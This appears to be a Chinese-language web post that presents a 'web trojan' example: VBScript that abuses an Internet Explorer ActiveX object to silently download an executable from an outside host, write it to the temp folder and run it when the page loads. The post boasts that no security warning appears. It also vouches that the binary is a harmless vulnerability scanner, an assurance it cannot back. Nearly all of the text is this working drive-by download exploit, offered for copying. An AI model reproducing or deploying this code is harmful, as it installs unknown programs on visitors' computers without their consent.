網頁木馬代碼例子（裡面的文件是漏洞掃描器，呵呵）

對於經常上網沖浪的朋友對於網頁木馬一定不會陌生，打開某個網站，莫名其妙的運行了某個木馬，雖然在"Internet選項"裡有"安全"設置，但是下面的代碼就不會彈出任何信息就直接運行了程序，不信，follow me!
(提示: 只是了解一下技術和方法，千萬別搞破壞，yexj00.exe是一個windows2000 漏洞掃描器和查漏補缺用的，不是病毒或木馬，放心運行。)
復制代碼 代碼如下:
<script language="VBScript">
    on error resume next
    dl = "<a href="http://yexj00.5dm.cn/soft/yexj00.exe" target="_blank">http://yexj00.5dm.cn/soft/yexj00.exe</a>"
    set ye=document.createElement("object")
    yStr="clsid:BD96C556-65A3-11D0-983A-00C04FC29E36"
   ye.setAttribute "classid",yStr
    Set x = ye.CreateObject("Microsoft.XMLHTTP","")
    set S = ye.createobject("ADODB.Stream","")
    S.type = 1
    x.Open "GET", dl, False
    x.Send
    fname="win2000漏洞掃描器.exe"
    set F = ye.createobject("Scripting.FileSystemObject","")
    set tmp = F.GetSpecialFolder(2)
    fname= F.BuildPath(tmp,fname)
    S.open
    S.write x.responseBody
    S.savetofile fname,2
    S.close
    set A=ye.createobject("Shell.Application","")
      A.ShellExecute fname,"","",  "open",1
    </script>